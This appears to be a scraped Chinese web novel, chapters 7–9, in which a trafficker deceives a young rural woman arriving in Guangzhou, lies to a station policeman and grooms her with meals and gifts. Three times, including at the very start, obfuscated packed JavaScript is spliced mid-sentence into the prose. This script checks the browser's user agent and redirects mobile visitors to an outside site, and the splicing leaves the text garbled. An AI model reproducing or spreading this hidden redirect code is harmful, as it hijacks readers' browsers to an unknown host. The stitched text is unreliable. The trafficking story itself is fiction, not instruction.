l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630269|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到伍三叔、伍老舅那类人里去了。 那类到了年纪,体重涨上去,头发掉下来,一口烂烟牙,脸上酒糟鼻的男人,光是让女人想想都觉得受罪。 王国富听她莫名其妙的话脚步停顿了一下,他心有点虚了。 “怎么了?”小芳一个急刹,差点因他突然停下来撞到他背。 “我怎么不像王国富了?”他有点郑重地问。 小芳的心花正含苞待放着,没听出王国富那点不对劲的语气,实在地答道:“你长这样哪能叫王国富?太土气了。” 就像她长那么美,却叫伍小芳一样! 王国富笑了,不是他想的那样,“那你倒是说说我该叫什么?” 小芳摇了摇头,她肚子里没装几年墨水,她只想到北京来的语文老师名字就文绉绉的好听,叫“蔡绍尊”,用普通话念起来尤为绕口,但念正确了,耳朵听着都舒服。 “喂,”王国富问她,“罗小强是谁?你在那边相好?” 罗小强是谁?小芳自己都不知道,她之所以突然想到这个名字,不过是因为伍家村上面走几里地就是罗家村了,刚好隔壁翠翠的弟弟又叫小强,她就临时组合了下。 小芳实诚地告诉他,“没有这个人,我想来糊弄你的!娟姨告诉我们,要防着人fan子!” “哼!”王国富这声鼻音实在是太响亮,在在小芳听来完全是对人fan子的不屑。 但后来小芳在逃亡的路上一次又一次地把遇上娟姨以后的事回想,这个被娟姨称为“王国富”的男人,他的“哼”也许他自己是对他们这群人用自爆身份来稳住人的好笑,但更多的大概是嘲弄,嘲弄即使他们自爆身份,被卖的肥羊们也没半点警觉。 “你哼什么?王国富?”小芳不解道。 “她叫你小心人fan子,你也是傻,你认识她多久,她说你就信?”这次王国富弹她鼻头了,很有力度,都把小芳弄痛了。 “你怎么能这样说呢?王国富,我这一身好看吗?都是娟姨给我买的。” 小芳美滋滋的,像动物园里对着人急于开屏展示尾巴的臭美孔雀,两只手的拇指和中指捻起裙摆,幅度轻微地转了个圈。 碎花裙子从腰部和胯部的连接处起有一圈褶子,小芳一转开,就像戏台子上描花绣鸟撑开了的油纸伞似的。 怎么会不好看?孟娟提前给王国富说小芳这个人时就讲了,“花裙子,你进火车站最漂亮那个就是!” 王国富进了火车站,一眼就注意到了角落里那个抱着自己的女孩,那模样光是让他驻足看就欣赏了十分钟! 他心里都替她感到惋惜,这样一个放进影片里都可以做女主角的人,被自己送到那种地方。 王国富没急着上前叫她,而是自己找个空地坐下来,好好地想了想接下来他要如何给小芳一份梦幻的浪漫,不为满足她,单纯是满足自己。 既然她都来广州一趟了,这几天他就带她把这里好好逛逛玩玩吧,不然就来了趟火车站就被弄到那边去,算什么来过广州? “美美美!”王国富答得很敷衍,他看到有两个站警眼睛朝四周扫视了。 他们这一行干久了,会自动地生成一种警惕性,当然也是因为没警惕性的早进去了。 犯罪分子和抓捕他们的警察拥有同样高强度的警惕性,他们的侦查与反侦察是几千年的你追我躲养成的默契。 就在王国富带着小芳脚步加快时,让王国富警惕的那两位乘警中一位叫住了他们。 “站住!”喊的站警没说是谁,王国富也假装不是他和小芳。 “叫你别走了!就是高个子提行李和穿花裙子那个!”语气很恶劣了,王国富暗叫不好。 7. 警民鱼水情 王国富立马站住了,站军姿似的板直听话,这时候跟站警斡旋是麻烦的,但不理会站警是愚蠢的。 他暗悔刚才没和小芳对口供,自己这种老手今天怎么犯了新手的错误?可见色字头上一把刀,不注意你就挨一刀。 长眼睛的人都能看出来他比那女娃精明,站警要是先盘问小芳,那就完了。 中间的来来去去,还有他和孟娟把四个女孩独个分开,一问一个准,到时候别说手头这个没了,另外三个都怕要追回来。 丢了四个女人还不怕,全国上十亿数的人,不怕找不出女人,可要是把自己抓了给怎么办? 王国富是那种不会委屈自己做“烈士”的人,他要是落网了,不用警察们来硬的,光凭着减刑或者不甘心,他都要拖人下水地把自己清楚的全供认不讳。 再说他很清楚,进了公安局,警察们有得是办法让他开口,所以何必呢?老实交代,省自己力气,也替别人省力气。 王国富突然停住,小芳一下没刹住,撞到他背上。 她精神没集中,心里正升腾着彩虹泡泡,以前在伍家村玩泡泡要用肥皂水,现在,一个王国富就行了。 “怎么了?”她问道。 王国富趁着站警朝他们走来的这点短促时间,小声补救道:“等会儿站警过来问,你就说你是我女朋友,我先来广州的,你后来,我今天是来接你的。” 小芳犯蠢就犯蠢在这里,一个素昧平生的陌生人见着警察就让你配合着撒谎,想想也该没好心吧? 可是,她却觉得没什么不对。 在伍家村,计sheng局来抓人的时候,挨家挨户排查,村里哪家不是东拉西扯,不说实话地帮着打掩护? 站警和那些人都一样,是吃公家饭的,老百姓不对公家的人讲实话,小芳在伍家村就习惯了,到了广州,她认为,小地方都这样,更别提大城市了。 “好。”小芳乖顺地点了点头,小兔子般温柔。 王国富奖励似的,又往她脑门弹了一下,这次动作轻柔得很,带着无奈又骄纵的意味。 站警走近了来,小芳下意识地躲到了王国富后面,这是她在伍家村养成的习惯,老乡们见到公家来的人总是本能反应地关门闭户,在他们看来公zhi人员上门绝不会是为了好事,好事是轮不上他们的。 zf公职人员是伍家村老乡们畏惧的,而警察又是他们畏惧等级里的重中之重。 前几年小芳还在镇上念初中,星期五放学回来,一辆气派的桑塔纳就停在伍大伯家的砖房前。 那时的伍大伯在伍家村的风光程度只有伍老舅能和他并驾齐驱,砖房就是伍大伯的大儿子进城挣钱回来修的。 砖房刚修没两年,伍大伯刚住舒服住习惯,警察就上门了。 伍家村的老乡们围在伍大伯家房前才听明白,原来盖房子的钱不是他大儿子合法打工挣来的,是偷鸡摸狗地打工:偷盗、倒卖国家电缆。 伍家村的人都吓了一跳,伍大伯大儿子这鳖糕子贼一样的胆大,连国家的东西都敢盗。 在伍家村老乡们的眼里,只有上面搜刮他们的,哪有这样颠倒过来的? 但老百姓们还不懂,老大不过是上行下效罢了,再过几年,会有一大批涉嫌贩卖guo有资产落网或者外逃的国家公职人员上电视上报纸。 小芳这时躲在王国富身后,怯怯地探头看走到他们面前,距离不足一米的站警,就是这副神情,当初在伍大伯家门前的几个警察就是这样的,冷漠无情,还有职业给予他们的威严、倨傲、神圣和不容侵犯。 小芳不知道的是,她越是躲在王国富身后,用王国富抵挡站警向他们投来的锐利目光,站警就越怀疑他们有鬼,眼神也越发锐利,属实是形成死循环了。 站警发问了,“刚才叫你们站住,怎么不站住?” 他没察觉到自己话里的漏洞,没有主语的一句话,难道他喊一句,全候车室的人都跟着站住吗?当自己播音喇叭啊? 王国富抓住了站警的语句漏洞,圆滑又讨好地回答道:“老哥,你刚才没叫谁站住,我们也不知道你是在喊谁。” 他做了个低级拉拢,小芳想,出门在外喊人“哥”、“姐”,看来这规矩不仅在伍家村适用,放在广州也是同样的。 “谁跟你老兄老弟?”站警不理他套近乎。 有点不近人情了,小芳觉得,人家称你一声“老哥”,你受着不就行了?看你那年纪也该四十往上了吧?给王国富当叔都够了,人家把你叫年轻了,你还挑剔什么? 后来小芳无数次地回忆自己命运的转折点,她觉得站警也该承担些责任,是他高不可攀还有拒人之外,让当时自己心中的那杆称自然地偏向了和蔼又英俊的王国富。 “是是是,”王国富低眉顺眼道,“站长。” 王国富才不晓得他官居何位,但往高了叫总没错。 站警脸色稍微好看些了,拿警棍的那只手朝他们指指,“你们干什么?” 小芳被他动作吓得险些叫出来,她以为他是要对他们不分青红皂白地动手了,都新社会了,哪有这样不讲道理的,又不是封建社会的捕快,不管三七二十一,先揍一顿再说。 “这是我女朋友,”王国富腆着脸笑道,“我先来的广州,我安顿好了又叫她过来的,第一次来大地方,她摸不着东南西北。” 王国富找的借口挑不出错,但站警一天见的人可能比许多人一辈子讲见过的都多,他清楚,坏人、违法犯罪分子的理由都能让人挑不出错,他们怪会伪装成普通小老百姓。 “是吗?”这次站警不问王国富了,他话头对准小芳。 那双见惯了人世间美与丑的锐眼,犀利地盯着小芳,使她感到简直像县城医院的X光,什么都能给他看透了。 “嗯。”小芳弱弱地点了点头。 “你怕什么?”站警不高兴了,“你要是他相好的,你往他后面躲什么?” “站长,她刚来——”王国富接口道。 “没问你!”这一次他的警棍不是刚才那样代替手指作用虚虚地一指了,而是对着王国富举起就没有放下。 小芳被他的恶劣语气和暴烈动作,浑身吓得筛糠般抖起来。 她最怕这种城里人,还是城里的警察,无缘无故、随时随地地乱发脾气,就像......她悲哀地想,就像她个下乡人踏入了他们领地就犯了罪似的,就像乡下人就该老老实实一辈子窝在山里不出来似的。 可小芳是从伍家村里出来的,她就像穷山恶水里生长出来的植物那样,韧劲又顽强,一阵胆颤的战栗后,她反倒绝地反弹般积聚起勇气了。 她不甘心,历史书上怎么讲的?当初抗战的时候,不是喊着中华民族统一吗?解放战争解放了全国,开国以后,连比伍家村更偏的西藏都解放了,怎么现在搞起分化来了?! 小芳的不甘心和不信命,让她勇敢地直视了站警逼人的审视,“我就是进城来和男朋友打工挣钱,怎么?广州说了不让外地人、乡下人进?!” 伍家村的小芳此刻在广州的火车站活过来了,那股鲜活的泼辣劲把站警的锋锐给逼退了些。 小芳为了来广州干流水线,这几天来的劳累,迷茫,和玲玲、云川、小扁刚分开就生出的想念,等待王国富那几个钟头的烦躁以及其中遭遇的白眼、呵斥全涌上来了。 “怎么?广州是你们本地人的广州,就不是全国人民的广州了?兴你们一直霸着就不兴我们来?不要我们来行啊,你把我老家也变得像广州一样,让我在老家也能干上流水线,我就不来了,凭啥都是一国人,你们吃香喝辣,我们一天到头只能在地里刨食?!” 小芳突然激烈的态度,把王国富吓唬了,姑奶奶,对着警察怎么能用这种态度?待会儿给他们按个“妨碍治安”的罪抓进去几天,一切都完了! 还有王国富想纠正她,广东人是不吃辣的。 小芳这一番声情并茂的控诉像极了戏里在衙门公堂上状告地主乡绅堂官的民女村妇,不止王国富,连站警都被他骂懵了。 吼完了,她心里破罐子破摔地想,大不了被送回伍家村,反正有了这趟出门的经验,下次她一个人也能跑出来! 小芳满脸“要杀要剐,悉听尊便”的赴死样。 站警愣了会儿,晃过神来了,以他多年的火车站站岗经验培养的敏锐嗅觉,他认为小芳是没有撒谎的,她就是来进城务工的。 小芳的确没有撒谎,她刚才压根就没提到自己和王国富是情侣关系,撒谎的是王国富。 小芳这人说起实话来觉得自己分外占理! 谎话她都能说得占理,实话还能亏了自己? “你这女娃!”站警倒底比她年长二三十岁,被她按上了莫须有的阻碍“城乡人员友好交流发展”罪名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630270|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哭笑不得起来。 “我什么时候说了不让你们来了?”他语气和蔼了,像个人民公仆了。 他向小芳科普道:“你刚从你们那里出来,你知道全国上下有多少坏人吗?每天有多少妇女孩子被拐卖吗?你们这些刚从老家出来的女孩,就是他们眼里的肥肉,我不把你们看仔细点,被拐到不晓得哪里去了,把你看仔细的就是人fan子和买你们的人了!” 可娟姨和王国富怎么可能会是坏人呢? 哪个坏人会像娟姨那样还自掏腰包地给她们买衣服买胸|罩?人fan子是把人弄来卖钱的,哪有愿意在弄来的人身上花钱的? 还有王国富,那么英俊的一副皮相,勾勾手指就有有钱女人愿意跟他走,犯得着大费心机地去做人fan子? 小芳心里的固有坏人印象都是长相邋遢丑陋,像伍三叔和伍老舅那样,在她看来,长得好的人是天然不会做坏人的。 但她心里此刻又涌起浓浓的感动,原来站警不是为难她,责备她踏出自己的领域去侵犯别人的领土,而是为了她好,小芳心里已经原谅刚才站警的不好态度了,且给他找好理由了,警察对可疑的犯罪人员不就应该保持距离,肃立庄严,一视同仁吗? 要是所有警察都对她和王国富这样的美女帅哥网开一面,嬉皮笑脸,国家就乱套了! “谢谢你!”小芳从王国富身后走出来,深深地向站警鞠了个九十度的躬,带着农村乡土朴实无华的真诚和直率。 站警受了她一鞠躬,心里也有了职业带来的崇高感,这种感觉好久没有过了,几乎要被日复一日的无聊与麻木淹没了,他觉得自己今天的表现是受得起这一鞠躬的。 “还有,”站警这一刻像小芳的娘家人那样对王国富表达不满,“你这大男人也不像话,她在这里等了你多久?你不知道她第一次来外面?你还放心让她一个人等着?一点不负责任!” “是是是。”王国富老实承认错误,他清楚这下子站警不怀疑他了,他又把两个人的距离拉拢了点,从衣兜里掏出烟盒,递了支烟给站警。 等站警接过去刁在嘴里,又替他点上火。 站警边抽烟边给小芳交代,哪些流水线是可以干的,哪些是不能干的,决不能为了多挣钱不把身体放在第一位。 他说:“小姑娘,你的人生还长着呢,可不能出师未捷身先死!” 小芳当然听懂了,这是她九年义务教育的成果之一。 等这根烟抽完,三个人的谈话也到尾了。 站警这次亲自送他们到火车站门口,望着小芳和王国富的背影,心中默默祝福这对进城打拼的情侣能有个美好结果。 许多年后,他在看到以“孟娟”为首脑的人fan子集团被悉数抓捕落网时,瞅见“王国富”的人像以及他真名时,心中产生了漫长的、萦绕不去的阵痛,这是他第一次直面自己的错误和失败。 作为一名经验丰富的警察,让犯罪分子从自己眼皮子底下溜走是不称职的,而祝福犯罪分子和受害人更是耻辱的,该死的! 也因为他的这一次失误,让小芳的未来被命运这只大手无情地翻来覆去,身份从受害者演变为了犯罪者。 等完全离开了站警的视线,王国富才松了口气,他大口大口地呼吸着火车站外的空气,八九月份的广州,竟然他感到如置冰窖般的寒冷,幸好旁边的女人把原本剑拔弩张的警匪争端转变成了警民鱼水情。 他可惜地转过头看了小芳一眼,太可惜了,她这天分要是能拉拢来作为他们集团一员不是添了名得力干将? 但这是不行的,几年的犯罪经验让王国富产生了狗一样灵敏嗅觉,什么人能干这行,什么人不能干这行,他几下接触下来也能摸透了。 这女人浑身带着一种近乎固执的朴拙,听孟娟告诉自己,诓她来广州嫁个本地人都不干,非要想着靠自己一双手在异乡异地拼点身家来,有色相倒不出卖色相,难得!难得! 不过,她自己不出卖就不要怪别人替她出卖了! “提累了吧?换我来吧!”小芳误会了他额头上因站警而冒出的冷汗,她以为那是被自己不值钱的行李给累的。 王国富笑着摇了摇头,柔情脉脉地看着小芳,心里更坚定地决定了推迟原有计划的打算。 “饿了吧?”王国富说,“走带你去吃饭。” 是有点饿,小芳跟着他走了。 8. 王国富 王国富决定在原有计划实施前的这几天,他要好好地和小芳过一段露水夫妻的日子,这几年干这一行他挣下来的钱不少,妥帖招待一个没见过世面的乡下姑娘,排场一定很炫目! 既然来了广州,王国富就要带小芳好好品尝一下本地菜了。 “我们去吃打边炉行吗?”他又问道,“知道打边炉是什么吗?” 小芳抢答道:“是你们广东人这边的火锅!” 这是她来自北京的语文老师向他们普及全国各地的火锅时提到的,有重庆成都的麻辣火锅、北京的涮羊肉、海南的椰子鸡、广东的打边炉、潮汕的牛肉火锅、云南的菌汤、东北的白肉还有贵州的酸汤鱼。 那节课是小芳印象最深的一次,全班人的耳朵都竖高了,口水在喉咙里的打滚声充斥教室,完全是把吞咽的口水当火锅汤来喝! 那场面就像《许三观卖血记》里,许三观用嘴炒菜的章节。 “哟!”王国富惊讶道,“这你也知道?” “哼!”小芳翘了翘嘴,“我只是没吃过而已!” “走走走,”王国富用空出来的那只手搂着她肩说,“今天我们就去吃!” 小芳没意识到,短短个多钟头的接触,她与王国富的感情和距离已经迅速又猛烈地拉快进程了。 王国富带着小芳熟门熟路地走进一家热气氤氲的火锅店,那香味还没走近,隔着半条街就闻到了,这种味道要是在伍家村光准她闻闻,她就满足了。 在伍家村谁也不可能一出手就招待别人这样一顿大餐,每个人都只紧着自家。 而王国富呢?萍水相逢就对自己这如此慷慨,让小芳想不感动都难。 进去了,服务员引她们坐下,到处是散发热度的白烟,像电视里那种只有神仙待的天庭那样,小芳想,城里人过的就是神仙日子! 王国富从服务员手里接过菜单很有风度地先递给小芳,小芳接过来看,被价格唬得张不开嘴,荤的就不说了,地里种的菜在这店里还能卖那么贵? 她很快把菜单还给王国富了,用服务员听不见的声音说:“太贵了!” 王国富把脸一皱,“说了请你就请你,哪儿那么多话?让你点你就点!” 小芳说:“那你点吧,我没吃过,你看哪样好吃。” 她心里想的却是,那么贵的菜,哪样不好吃?再说了,伍家村那片土地,食物的困乏与稀缺,给了小芳不挑嘴的好习性。 店里的人有好几桌已经在高喊服务员了,王国富不想一旁站着的服务员不耐烦,迅速地念了几个菜,又问小芳,“喝不喝饮料?” “啊?”小芳想,吃火锅不应该喝汤吗? 王国富自觉问也是白问,又和服务员说他们一人要一瓶可乐。 没等多久,两个服务员一个抬着个红泥灶,一个端着砂锅上来了,接着又一盘盘地上菜:生鱼片、牛肉片、牛百叶、鸭粉肠、豆腐、茼蒿,十几样,一样一个盘,这阵仗,彻底把小芳看入迷了,她觉得自己在伍家村前面十八年吃的菜种类,都没有今天一顿多! “快烫菜!”王国富催促她。 “哦。”小芳木头木脑地应他,转而又勤快地准备把盘里的菜全部烫下去。 “等一下,”王国富拦住了她,好笑道,“要是这样人家就全部给我们烫下去再端上来了,何必弄那么多盘子上来,他们不懒得撤盘洗碗?” 王国富手把手教她,“来,想吃什么再烫什么,一次性少弄点,多了吃不赢,菜就老了。” 他夹了一片牛肉放锅里烫,嘴里数了会儿时间就夹起来放小芳蘸料碗里,说:“快尝尝。” 小芳像个学生般通话,也不吹凉直放嘴里,烫得龇牙咧嘴,王国富又赶紧把开了盖的冰可乐给她,让她喝一口。 小芳接过来喝了后,嘴巴里像爆炸一样,这是她第一次喝汽水,原来水喝进嘴里,还可以发出声音,甜甜的,可又比白糖水带劲! 王国富看她表情就知道她是第一次,他心里感慨,她的伍家村真落后,落后到今天自己能给她那么多第一次。 这一顿,王国富殷勤地伺候她,小芳到底是西南人,多吃几口就觉得舌头不够味了。 “这里有没有海椒?”小芳问他。 来这里吃的几乎全是广州本地的,王国富抓着服务员问,服务员说,有是有,每天都会备点,但今天他们来得晚,已经没有了。 那么大一家店,怎么可能没有没剁碎的生辣椒?不过是只有一个人要,懒得专门服侍而已。 王国富对小芳说:“你等等,我出去给你找找。” “算了,王国富,”小芳拉他袖子阻止道,“就这样吃,这也是我活到现在吃得最香的一顿了。” 王国富却说:“就在对面,有家四川人开的店,我去要点来,有红辣椒,你一定吃得更香。” 小芳坐在位置上,等着王国富回来,心里柔情蜜意的,她早忘了今天在火车站时想到小三儿时那点作痛的哀恋。 人就是这样薄情又现实,有更好的那个人出现,次好的那个就不再值得你为他分神了 并且小芳认为离开了伍家村的自己很快会成为一个全新的伍小芳,那些在伍家村认识的人,发生的事,就让他们永远封存在过去吧,在广州,她要撇下过去,轻装上阵! 王国富很快回来了,端着两个碟子,干海椒面和生海椒各是各,“来!”王国富放她面前,“这下够味道了吧?” 小芳羞涩地“嗯”了声,奇怪,怎么火辣辣的海椒下到喉咙里去了,胃里感到的却是甜滋滋的? 王国富又把手里的饮料递给她,还是一瓶可乐,他用桌子边沿翘开瓶盖,放到小芳面前,“也不好白占人家便宜,顺手买了瓶,反正你那瓶也喝完了。” 盯着眼前冒着泡的汽水,小芳可以确定了,王国富已经成为她心里第二个重要的男人了,而且她不确定再在广州待一阵子,王国富会不会取代她爹成为最重要的那个。 小芳此刻那种女人遇见心仪对象就会想到以后日子怎么过的惯有思维没留神滑得很远了,她想如果以后她和王国富有了儿子,她心里的重要男人排位,他爹还要往后让。 没办法,死人怎么争得过活人?人只要活着就会有改变的希望,死了那就明明白白的没可能了,变好变坏都没可能。 小芳今天吃了有生以来最撑的一顿饭,不,是菜,来了广州她才见识到肚皮吃饱是可以不用上主食的。 结账时出了点小差错,服务员把他们桌上王国富在对面四川人开的店里买的可乐算进账里了。 王国富和服务员解释了,但服务员不信。 小芳刚要争辩,王国富不拘小节地摆了摆手,多付了一瓶可乐的钱就拉着气鼓鼓的小芳离店了。 “凭什么让她占我们便宜?”小芳兀自不服气道,她觉得王国富太吃亏了。 小芳对钱的重视程度不亚于重视自己,甚至更甚于自己,为了一块五毛和人当街干架她也是不怕丢人的,还有,她觉得那服务员欺负了王国富,这一点比坑了王国富的钱更让她心里不好受。 小芳还没想到,在心灵深处,她已经把王国富归为自己的人了,或者说把自己归为王国富的人了。 “她占了什么便宜?”王国富说,“店又不是她开的,她也是个给人打工的伙计,你为难她干什么?” “王国富,”小芳用很较真的眼神看他,又用很认真的语气对他说,“你这个人老这样会吃亏的。” 欺负老实人这点道理,小芳晓得,无论古今中外都一个样。 王国富用同样认真的眼神和语气回应小芳:“我是想着吃完了带你出来逛逛广州的夜市,你想想,要是为这点事败了心情,值得吗?” 原来他是这样想的,他居然还顾虑着自己的心情,完了,小芳这次是彻底的认栽了,这不仅是个英俊、大方、有同情心,而且还是个做事考虑她的男人。 王国富这个男人还能找出缺点吗?! 小芳过去每长点见识,对身世的哀怨就会增加一点。 去过镇上,她想自己怎么不是在镇上出生的呢?去过县城,她又贪心一点的想,自己怎么不是生在县城的女孩呢? 可来到广州,她还没来得及想,她就遇见了王国富,这一刻,小芳明白了,生活是真有先苦后甜这回事的,前面吃的那么多苦都是为了遇见王国富,而王国富也等待着她,不然他对广州那么熟悉,怎么还没有个伴呢? 逛夜市逛到很晚,王国富给她买了很多在小芳看来漂亮却不实用的东西,这些东西造出来就是让人浪费钱的。 面对小芳嘴上嗔怪,实则暗喜的埋怨,王国富插科打诨地说:“又漂亮还实用不是有你就够了吗?” 然后,王国富就牵着她的手朝宾馆走了。 短短半天不到,他们已经有可以牵手的交情了,一切都是那么的水到渠成。 小芳多么想告诉王国富,“你知道吗?在伍家村多少男的想碰我的手,却连我一句好话都听不到?” 但她心里淌过一瞬的自卑,想啥呢?怎么不想想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630271|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不晓得要几百几千个伍家村才能凑出来个广州,又有多少女人想牵王国富的手? 宾馆在一条很喧哗的街上,一到晚上长方形的招牌边还有五彩的霓虹灯交叉亮起,是广州夜市很多地方都会亮的那种。 王国富推开玻璃门,领着小芳走到前台。 小芳看见前台桌子上那个女人背对他们盯着那台黑白电视机看,这样的电视机伍老舅的粮油铺也有一台,随时都有村民们跑到他家观看,但小芳从来不去,她觉得自己要是在伍老舅的地盘待久了,会有送上门让他轻薄的嫌疑。 那女人看得津津有味,还是王国富唤了她两声,她才转过身来,转动的幅度是肉眼可见的不高兴,不高兴他们打断了她看电视的雅兴。 小芳觉得她肯定不是老板,伍老舅虽然是个垃圾,但哪次村里人上他粮油铺买东西,他不热情招待了? 这女的也是火锅店服务员那样,是个伙计,那么小芳很想请问,“你老板是专门花钱来请你看电视的?” 可等她完全转过来,小芳那点愤慨很快被惊吓取代,那女人脸上跟被人揍了一样,红一块紫一块,眼睛周围一圈还是黏糊糊的黑色,惊吓过后小芳又对她产生了深深的怜悯。 她想,来这里的人不知有多复杂,大晚上就她一个女人守在这里,谁也说不定晚上会不会有流氓骚扰,小小伍家村,男人有一半都流里流气的,更别提偌大个广州了。 女人面无表情地收了王国富的身份证,漫不经心地对她们登记,还是王国富说开两间房时,她无表情的面部才多了点内容,一点惊讶,但很快又恢复平静。 一路都在想着给王国富省钱的小芳,这时不省了,两个人一间房太危险了,她还没做好这么快时间把自己交代出去的准备。 不是小芳算计不用自己的盘缠,赖上王国富,她想自己还没上流水线,等上了先托王国富把娟姨在她家时给她妈的钱还给娟姨,还有结余的,她就拿出来好好招待王国富。 小芳和母亲都是厚道人,收了娟姨的钱,还不肯占人便宜非要打张借条,上面小芳写得明明白白,第一个月工资到手后就要还给娟姨。 前台的女人登记完后,收了一晚上押金,就从抽屉里拿出一个套着几十把钥匙的大铁环,扯了两把给小芳和王国富说:“房间号钥匙上面有,我就不带你们上去了,今晚上只有我一个人值班,带你们去了这里没人。” 小芳理解地点了点头。 王国富拉着小芳上了楼梯,小芳才敢小声说:“王国富,她好可怜哦。” “怎么了?”王国富莫名其妙,他刚才还险些以为那女人欠缺礼貌的态度,会让小芳这颗西南山区来的小辣椒冒出火来。 “你没看到她脸上,”小芳惊诧了,“那么明显,红的地方肯定是肿了,紫的是淤青!她被人打了!” 在伍家村被自己男人打过的女人,脸上就是这样的五彩斑斓。 王国富“噗”的一声,笑了好久,缓不过气,他觉得小芳太有意思了,前台的女人不过是化了妆,当然技术有点拙劣,化了比不化还糟,化妆原本是让女人对她们不太满意的脸进行痛改前非,而一些女人却矫枉过正搞得面目全非。 “你笑什么?”小芳不高兴了,她觉得这个笑得没心肝的王国富,不是她认识的王国富。 这一路来王国富是个多么好心肠的人,怎么会有低级趣味去嘲笑一个受了殴打的女人? “小芳!”王国富笑抽了,“那叫化妆!” “化妆?”小芳愣了,娟姨也化妆,脸上擦一些白色的粉,很显年轻,可等时间久了,粉掉成粉渣渣了,就原形毕露了。 “就是化妆啊,”王国富说,“孟娟也化妆,你没见过?她脸有时候白得跟死人一样。” 经王国富提点,小芳才明白过来,前台女人不是被人打了,是给自己化了像被人打了的妆。 王国富又说:“你可别往脸上倒腾那些东西,你不化就够好看了,化了技术不行,弄得人不人,鬼不鬼的,我看不得!” “好。”小芳满口答应,现在两个人的关系发展到王国富说什么,她就听什么的程度了,要是结了婚,这种程度就该叫“夫唱妇随”。 不过小芳还没觉悟到她此刻有多么听这个男人的话。 进了房间,王国富教了小芳屋里的烧水壶之类设备该怎么使用后,他就回自己屋了。 小芳今晚有点失眠,来广州了,这一切都像做梦似的,王国富今天实在是给了她太多意想不到,她要好好回味消化一下才行。 9. 骡子 第二天,一阵敲门声把小芳弄醒了,顶着两个大黑眼圈去开门,是王国富。 王国富看她眼睛下坠着的两个青眼袋问:“昨晚没睡好?” 小芳点了点头,昨晚到底几点睡的,她也记不得了。 王国富把买来的早点放桌上,催她:“来,赶紧趁热吃,我刚下楼去买的肠粉,你尝尝,我还叫他们放了生辣椒。” 小芳接过王国富替她掰开的一次性筷子,这日子太美了,梦里梦见王国富,睁眼醒来,打开门还是王国富。 肠粉味道不错,小芳两口就吃完了。 王国富又说:“起来穿衣服,趁着白天我带你把这边好好逛逛,顺便买点东西,你来这里就一个行李袋也不重,肯定东西也没背全。” 小芳摇头拒绝了,“王国富,我已经害你破费不少了。” “这点算什么?” 这时的小芳把王国富说话的潇洒理解成了对这三瓜两枣的看不上,几天后她会明白,她对他产生了天大的误会,比起王国富从自己身上得到的,这些的确只算是三瓜两枣。 小芳固执又诚实地说道:“算多算少那也是钱,我不瞒你,我身上有点钱,但还没有找到事做,那些钱我也不敢用,王国富你招待我的钱,等我干上流水线后,我会还给你的。” 小芳还是从她妈那里继承的老实基因比较多,而她爹老伍的好吃懒做,她是丁点没沾到边,可这也不该怪小芳,谁让她爹死得早呢? “你真傻,”王国富有点说不清自己对她心里是动容还是嘲弄,“现在女人谁不想多花男人的钱?男人同样,谁不想找个女人当长期饭票?就你傻不拉几的样样要分个干净。” 小芳说:“来都来广州了,不试试靠自己一双手怎么行呢?”她也圆滑地俏皮下,“等我发现自己在广州待不下去了再来靠你!” 小芳自然是开玩笑的,凭庄稼人的认知,有勤劳和踏实两样品德,人无论在哪里都是能站住脚的。 “随便你!”王国富把桌子上吃完的早点收拾两下,走到门口,“快点收拾,我在外面等你。” 下了楼,王国富带小芳去了附近商场,不容她拒绝地买了几件当下最时髦的上衣裤子裙子,一个人造革小皮包,一双半坡高跟鞋,还有一双回力球鞋,三双长丝袜和一打到脚踝处的短丝袜,城里女人穿袜子都时兴这种透明的。 买了一堆,王国富还不让小芳自己提,这一刻全世界你是找不出来比王国富更能撩拨女人心的男人了。 小芳脚踩着那双半坡高跟鞋,人都拔高了,仪态也更好了,整个人不自觉地就挺胸收腹抬头,虽然十分受罪,鞋皮是硬的,呈锥形的鞋尖把她的脚趾像旧社会裹小脚那样挤压着。 她看了眼身旁的王国富,越看越满意,这双鞋至少让她高了五六公分,但自己还是只能到王国富的眉眼处。 王国富看她走得遭罪,便说:“要不换上那双球鞋,这种鞋就图个好看,长期穿,脚都要变形。” 小芳不干,如果能让自己从伍家村融入广州,脚遭点罪算什么?人要想蜕变是必须遭受痛苦的,她觉得自己可以永远吃苦,只要能变得更好。 王国富开玩笑道:“就是有了这种鞋,城里的女人的海拔突然就起来了,那才是真的姊姊妹妹站起来了(1),弄得我们一批身高不占优势的男同胞是自卑惆怅了好久。” “我晓得你不自卑!”小芳说出他想听的话。 王国富说:“你再穿高十公分的,我可能会自卑一下。” “那不就成踩高跷了?”小芳和他你一言我一语地打情骂俏。 王国富话接得很好,每一句都把两个人的距离拉得更近了,“怕什么?摔下来我接着你!” “喔唷,你那身板抱得动?” “你试试看我抱不抱得动?”王国富两眼斜下一睨她某个女性重要部位,是在说,“你以为你自己很丰满啊?” 小芳假巴意思地双手抱胸捂了下,却没觉真被冒犯,她嗔道:“讨厌!” 